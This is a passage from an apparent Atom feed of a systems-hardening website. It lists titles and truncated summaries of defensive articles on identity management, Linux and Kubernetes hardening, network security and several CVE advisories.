    <summary>IAM Maturity Model: Assessing and Advancing Identity and Access Management Capabilities
Problem
Most organisations cannot answer three questions that every security programme should be able to answer:...</summary>
  </entry>
  
  <entry>
    <title>Identity Federation Security: Trust, Attribute Mapping, and Cross-Domain Access</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/identity-federation-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/identity-federation-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Identity Federation Security: Trust, Attribute Mapping, and Cross-Domain Access
Problem
Identity federation is the practice of allowing one organisation’s identity provider to vouch for users in...</summary>
  </entry>
  
  <entry>
    <title>Multi-Tenancy Security Patterns: Isolation, Data Separation, and Cross-Tenant Protections</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/multi-tenancy-security-patterns/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/multi-tenancy-security-patterns/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Multi-Tenancy Security Patterns: Isolation, Data Separation, and Cross-Tenant Protections
Problem
Multi-tenancy is the architectural decision that defines SaaS economics: instead of running one copy...</summary>
  </entry>
  
  <entry>
    <title>Network Security Architecture: Zones, Segmentation, and Defence-in-Depth Design</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/network-security-architecture/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/network-security-architecture/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Network Security Architecture: Zones, Segmentation, and Defence-in-Depth Design
Problem
A flat network where every host can reach every other host is not a network topology — it is a lateral movement...</summary>
  </entry>
  
  <entry>
    <title>OpenSSL RSASVE Uninitialized Memory Disclosure: CVE-2026-31790</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/openssl-rsasve-memory-disclosure/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/openssl-rsasve-memory-disclosure/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>OpenSSL RSASVE Uninitialized Memory Disclosure: CVE-2026-31790
The Problem
RSASVE — RSA Verified Encryption, also referred to as RSA-KEM or RSA-OAEP key encapsulation — is the mechanism by which an...</summary>
  </entry>
  
  <entry>
    <title>Privileged Access Workstations: Isolating Administrative Credentials from Everyday Risk</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/privileged-access-workstation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/privileged-access-workstation/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Privileged Access Workstations: Isolating Administrative Credentials from Everyday Risk
Problem
A senior engineer has SSH access to every production server, kubectl cluster-admin on three Kubernetes...</summary>
  </entry>
  
  <entry>
    <title>RBAC Design Patterns: Building Maintainable, Least-Privilege Permission Systems</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/rbac-design-patterns/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/rbac-design-patterns/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>RBAC Design Patterns: Building Maintainable, Least-Privilege Permission Systems
Problem
Every permission system starts clean. One role for read-only users, one for editors, one for admins. Then a...</summary>
  </entry>
  
  <entry>
    <title>Secret Sprawl Detection and Remediation: Finding and Eliminating Credentials Across Your Infrastructure</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/secret-sprawl-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/secret-sprawl-detection/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Secret Sprawl Detection and Remediation: Finding and Eliminating Credentials Across Your Infrastructure
Problem
Credentials don’t stay where they’re put. A database password starts in an .env file,...</summary>
  </entry>
  
  <entry>
    <title>Secure Architecture Patterns: Defence-in-Depth, Least Privilege, and Fail-Safe Defaults</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/secure-architecture-patterns/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/secure-architecture-patterns/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Secure Architecture Patterns: Defence-in-Depth, Least Privilege, and Fail-Safe Defaults
Problem
Security controls added after a system is built are always more expensive, always less complete, and...</summary>
  </entry>
  
  <entry>
    <title>Security Automation and SOAR: Scaling Security Operations Without Scaling Headcount</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/security-automation-soar/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/security-automation-soar/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Security Automation and SOAR: Scaling Security Operations Without Scaling Headcount
Problem
A typical security operations center receives between 1,000 and 10,000 alerts per day. A human analyst can...</summary>
  </entry>
  
  <entry>
    <title>Security Champions Programme: Embedding Security Knowledge in Engineering Teams</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/security-champions-program/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/security-champions-program/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Security Champions Programme: Embedding Security Knowledge in Engineering Teams
Problem
A central security team of four engineers cannot review the pull requests, design documents, and deployment...</summary>
  </entry>
  
  <entry>
    <title>Security Debt Management: Prioritising, Tracking, and Reducing Accumulated Risk</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/security-debt-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/security-debt-management/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Security Debt Management: Prioritising, Tracking, and Reducing Accumulated Risk
Problem
Security debt is the accumulated backlog of known security risks that an organisation has chosen, explicitly or...</summary>
  </entry>
  
  <entry>
    <title>Security Training for Developers: Building Skills That Prevent Vulnerabilities at Source</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/security-developer-training/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/security-developer-training/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Security Training for Developers: Building Skills That Prevent Vulnerabilities at Source
Problem
Most organisations run annual security awareness training. Developers complete a 30-minute module...</summary>
  </entry>
  
  <entry>
    <title>Security Incident Communication: Internal Escalation and External Disclosure</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/security-incident-communication/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/security-incident-communication/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Security Incident Communication: Internal Escalation and External Disclosure
Problem
Communication is the most rehearsed thing that fails in real incidents. During a breach, most teams default to the...</summary>
  </entry>
  
  <entry>
    <title>Security Programme Governance: Policies, Metrics, Reporting, and Organisational Structure</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/security-programme-governance/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/security-programme-governance/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Security Programme Governance: Policies, Metrics, Reporting, and Organisational Structure
Problem
Most engineering teams do some security work. They patch known CVEs, rotate secrets, review access...</summary>
  </entry>
  
  <entry>
    <title>Service Account Security: Hardening Non-Human Identities Across Cloud and Kubernetes</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/service-account-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/service-account-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Service Account Security: Hardening Non-Human Identities Across Cloud and Kubernetes
Why Service Accounts Are the Attacker’s First Choice
Service accounts — IAM users, GCP service accounts, Kubernetes...</summary>
  </entry>
  
  <entry>
    <title>Shadow IT Detection: Finding and Managing Unauthorised Services and Infrastructure</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/shadow-it-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/shadow-it-detection/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Shadow IT Detection: Finding and Managing Unauthorised Services and Infrastructure
Problem
Shadow IT is the gap between what the security team thinks the organisation uses and what the organisation...</summary>
  </entry>
  
  <entry>
    <title>Supply Chain Risk Management: A Programme for Third-Party Software and Dependency Risk</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/supply-chain-risk-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/supply-chain-risk-management/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Supply Chain Risk Management: A Programme for Third-Party Software and Dependency Risk
Problem
Modern production software is approximately 80% third-party code. A typical Node.js application has...</summary>
  </entry>
  
  <entry>
    <title>Building a Threat Intelligence Programme: From Feed Consumption to Actionable Decisions</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/threat-intelligence-program/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/threat-intelligence-program/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Building a Threat Intelligence Programme: From Feed Consumption to Actionable Decisions
Problem
Many security teams subscribe to threat intelligence feeds. Fewer have a functioning threat intelligence...</summary>
  </entry>
  
  <entry>
    <title>Argo CD Secret Extraction via Read-Only Access: CVE-2026-42880</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/argocd-secret-extraction-readonly/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/argocd-secret-extraction-readonly/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Argo CD Secret Extraction via Read-Only Access: CVE-2026-42880
The Problem
CVE-2026-42880 (CVSS 9.6 Critical, disclosed April 2026, fixed in Argo CD v3.3.9) allows any Argo CD user with read-only...</summary>
  </entry>
  
  <entry>
    <title>Hardening Kubernetes Against LLM-Automated Container Escapes</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-llm-escape-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-llm-escape-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Hardening Kubernetes Against LLM-Automated Container Escapes
The Problem
The UK AI Security Institute’s SandboxEscapeBench evaluated Claude Opus 4.5 and GPT-5 against container escape scenarios in...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes PCI DSS Compliance: Scope Reduction, Network Isolation, and Audit Trails</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-pci-dss-compliance/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-pci-dss-compliance/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes PCI DSS Compliance: Scope Reduction, Network Isolation, and Audit Trails
Problem
Kubernetes was not designed with PCI DSS in mind. It was designed to run workloads at scale with sensible...</summary>
  </entry>
  
  <entry>
    <title>Linux Kernel ASLR, PIE, and Exploit Mitigation Hardening Beyond the Defaults</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-aslr-pie-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-aslr-pie-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Kernel ASLR, PIE, and Exploit Mitigation Hardening Beyond the Defaults
The Problem
Memory corruption vulnerabilities — buffer overflows, use-after-free bugs, format string flaws — have dominated...</summary>
  </entry>
  
  <entry>
    <title>Container Runtime Security: gVisor, Kata Containers, and crun Beyond runc</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-container-runtime-alternatives/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-container-runtime-alternatives/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Container Runtime Security: gVisor, Kata Containers, and crun Beyond runc
The Problem
Every container running under the default runc runtime shares the host kernel. The namespace and cgroup layer...</summary>
  </entry>
  
  <entry>
    <title>Linux Core Dump Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-core-dump-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-core-dump-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Core Dump Security Hardening
The Problem
When a process terminates abnormally — segmentation fault, assertion failure, unhandled signal — the kernel’s default behaviour is to write the entire...</summary>
  </entry>
  
  <entry>
    <title>Linux Cron and at Job Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-cron-at-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-cron-at-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Cron and at Job Security Hardening
The Problem
Cron is installed and running on almost every Linux host. It runs jobs as root by default, operates silently in the background, and on most systems...</summary>
  </entry>
  
  <entry>
    <title>Linux D-Bus Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-dbus-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-dbus-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux D-Bus Security Hardening
The Problem
D-Bus is the IPC backbone of nearly every modern Linux desktop and most server distributions. Systemd uses it for unit management. NetworkManager exposes...</summary>
  </entry>
  
  <entry>
    <title>Linux Disk Quota Security: Preventing Storage-Based Denial of Service</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-disk-quota-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-disk-quota-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Disk Quota Security: Preventing Storage-Based Denial of Service
The Problem
Storage exhaustion is one of the most reliable ways to break a Linux system without exploiting a single CVE. Unlike...</summary>
  </entry>
  
  <entry>
    <title>Linux Entropy and RNG Security: Hardening Randomness from Boot to Application</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-entropy-rng-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-entropy-rng-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Entropy and RNG Security: Hardening Randomness from Boot to Application
The Problem
Cryptographic security collapses when the underlying randomness is predictable. Every TLS session key, every...</summary>
  </entry>
  
  <entry>
    <title>Linux fanotify for Real-Time Filesystem Security Monitoring</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-fanotify-security-monitoring/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-fanotify-security-monitoring/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux fanotify for Real-Time Filesystem Security Monitoring
The Problem
Every anti-malware scanner, DLP agent, and file-integrity monitor on Linux needs the same thing: a reliable stream of “this...</summary>
  </entry>
  
  <entry>
    <title>Linux File Immutability with chattr: Protecting Critical System Files Against Root Compromise</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-file-immutability-chattr/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-file-immutability-chattr/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux File Immutability with chattr: Protecting Critical System Files Against Root Compromise
The Problem
Unix permission bits protect files from unprivileged users. Root bypasses all of them. A...</summary>
  </entry>
  
  <entry>
    <title>GnuPG Key Management: Package Signing, File Integrity, and Git Commit Signing</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-gnupg-key-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-gnupg-key-management/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>GnuPG Key Management: Package Signing, File Integrity, and Git Commit Signing
The Problem
GnuPG underpins a surprisingly wide slice of Linux infrastructure trust: APT and DNF verify packages against...</summary>
  </entry>
  
  <entry>
    <title>Linux HSM and PKCS#11 Integration: Hardware-Protected Cryptographic Keys</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-hsm-pkcs11-integration/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-hsm-pkcs11-integration/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux HSM and PKCS#11 Integration: Hardware-Protected Cryptographic Keys
The Problem
Every TLS certificate deployment, every signing key, every SSH host key has the same structural weakness: the...</summary>
  </entry>
  
  <entry>
    <title>Linux Kernel Module Signing and Verification</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-kernel-module-signing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-kernel-module-signing/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Kernel Module Signing and Verification
The Problem
A kernel module is not an application. It is compiled code that executes at ring 0, with the same privileges as the kernel itself. When a...</summary>
  </entry>
  
  <entry>
    <title>Linux Network Namespace Security: Service Isolation Without a Firewall Per Rule</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-network-namespace-isolation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-network-namespace-isolation/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Network Namespace Security: Service Isolation Without a Firewall Per Rule
The Problem
On a default Linux host, every process shares the same network stack. A web server, a database, a background...</summary>
  </entry>
  
  <entry>
    <title>Linux NFS Security Hardening: Kerberos, Exports, and Protecting Network Filesystems</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-nfs-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-nfs-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux NFS Security Hardening: Kerberos, Exports, and Protecting Network Filesystems
The Problem
NFS was designed for trusted LAN environments in the 1980s. NFSv3, still widely deployed, has no concept...</summary>
  </entry>
  
  <entry>
    <title>Linux PAM Multi-Factor Authentication: TOTP and YubiKey</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-pam-mfa-totp-yubikey/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-pam-mfa-totp-yubikey/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux PAM Multi-Factor Authentication: TOTP and YubiKey
The Problem
Passwords are a single factor. A single factor has a single failure mode: the secret leaves the user’s head through phishing,...</summary>
  </entry>
  
  <entry>
    <title>Linux Hardening for PCI DSS Cardholder Data Environments</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-pci-dss-cde-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-pci-dss-cde-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Hardening for PCI DSS Cardholder Data Environments
Problem
A general-purpose hardened Linux server and a PCI DSS cardholder data environment (CDE) server share many of the same controls — but...</summary>
  </entry>
  
  <entry>
    <title>Linux POSIX ACLs: Fine-Grained File Permission Security</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-posix-acl-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-posix-acl-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux POSIX ACLs: Fine-Grained File Permission Security
The Problem
Unix permission bits have served the same three-class model since the early 1970s: owner, group, and everyone else. For a...</summary>
  </entry>
  
  <entry>
    <title>Linux ptrace Security and YAMA LSM Hardening</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-ptrace-yama-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-ptrace-yama-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux ptrace Security and YAMA LSM Hardening
The Problem
ptrace(2) is a debugging syscall. It is also one of the most dangerous primitives in the Linux kernel: any process that can attach to another...</summary>
  </entry>
  
  <entry>
    <title>Linux Shared Library Security: LD_PRELOAD Attacks, Library Hijacking, and Hardened Linking</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-shared-library-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-shared-library-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Shared Library Security: LD_PRELOAD Attacks, Library Hijacking, and Hardened Linking
The Problem
Every dynamically linked process on Linux carries an implicit trust relationship with the runtime...</summary>
  </entry>
  
  <entry>
    <title>Linux Network Socket Hardening: Port Binding Controls, SO_REUSEPORT Security, and Reducing the Socket Attack Surface</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-socket-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-socket-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Network Socket Hardening: Port Binding Controls, SO_REUSEPORT Security, and Reducing the Socket Attack Surface
The Problem
Every listening socket on a Linux host is a point where network traffic...</summary>
  </entry>
  
  <entry>
    <title>Linux Encrypted Swap: Protecting In-Memory Secrets from Disk Exposure</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-swap-encryption/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-swap-encryption/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Encrypted Swap: Protecting In-Memory Secrets from Disk Exposure
The Problem
RAM is volatile. When the kernel runs low on memory, it pages process memory out to disk — the swap partition or...</summary>
  </entry>
  
  <entry>
    <title>Hardening Linux Kernel Information Exposure Through sysfs, debugfs, and procfs</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-sysfs-debugfs-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-sysfs-debugfs-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Hardening Linux Kernel Information Exposure Through sysfs, debugfs, and procfs
The Problem
The Linux kernel maintains a set of virtual filesystems — /proc, /sys, and /sys/kernel/debug — whose sole...</summary>
  </entry>
  
  <entry>
    <title>Linux TCP/IP Stack Hardening via sysctl Parameters</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-tcpip-stack-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-tcpip-stack-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux TCP/IP Stack Hardening via sysctl Parameters
The Problem
Your firewall ruleset does not cover everything. nftables, iptables, and cloud security groups operate on packet decisions: accept, drop,...</summary>
  </entry>
  
  <entry>
    <title>Linux tmpfs and POSIX Shared Memory Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-tmpfs-shm-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-tmpfs-shm-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux tmpfs and POSIX Shared Memory Security Hardening
The Problem
Three world-writable filesystems are present on nearly every Linux system and are almost always left with their default permissive...</summary>
  </entry>
  
  <entry>
    <title>UEFI Secure Boot Deep Dive: DB/DBX, Shim, MOK, and Custom Key Enrolment</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-uefi-secure-boot-db/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-uefi-secure-boot-db/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>UEFI Secure Boot Deep Dive: DB/DBX, Shim, MOK, and Custom Key Enrolment
The Problem
Most Linux servers run with Secure Boot “enabled” in a superficial sense: the firmware checks for a valid signature...</summary>
  </entry>
  
  <entry>
    <title>Restricting Unprivileged User Namespaces: Closing the 3.4x Kernel Attack Surface</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-unprivileged-namespace-restriction/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-unprivileged-namespace-restriction/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Restricting Unprivileged User Namespaces: Closing the 3.4x Kernel Attack Surface
The Problem
Edera’s 2026 analysis of Linux kernel CVEs from 2020 to 2025 quantified what kernel developers have known...</summary>
  </entry>
  
  <entry>
    <title>systemd-tmpfiles and snap-confine Race Condition: CVE-2026-3888 on Ubuntu</title>
    <link href="https://www.systemshardening.com/articles/linux/systemd-tmpfiles-snap-confine-lpe/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/systemd-tmpfiles-snap-confine-lpe/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>systemd-tmpfiles and snap-confine Race Condition: CVE-2026-3888 on Ubuntu
The Problem
CVE-2026-3888 is a local privilege escalation vulnerability that arises from the interaction between two...</summary>
  </entry>
  
  <entry>
    <title>Anycast-Based DDoS Mitigation Architecture</title>
    <link href="https://www.systemshardening.com/articles/network/anycast-ddos-mitigation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/anycast-ddos-mitigation/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Anycast-Based DDoS Mitigation Architecture
The Problem
A single-datacenter DDoS mitigation strategy has a hard capacity ceiling: whatever your upstream transit bandwidth is, that is the most traffic...</summary>
  </entry>
  
  <entry>
    <title>BGP and OSPF Hardening: Routing Protocol Security for Production Networks</title>
    <link href="https://www.systemshardening.com/articles/network/bgp-ospf-routing-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/bgp-ospf-routing-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>BGP and OSPF Hardening: Routing Protocol Security for Production Networks
The Problem
Routing protocols are the nervous system of a network. BGP (Border Gateway Protocol, RFC 4271) carries...</summary>
  </entry>
  
  <entry>
    <title>Certificate Pinning Security: Modern Approaches After HPKP Deprecation</title>
    <link href="https://www.systemshardening.com/articles/network/certificate-pinning-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/certificate-pinning-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Certificate Pinning Security: Modern Approaches After HPKP Deprecation
The Problem
The TLS certificate authority system has a structural flaw that pinning was designed to correct: any of the roughly...</summary>
  </entry>
  
  <entry>
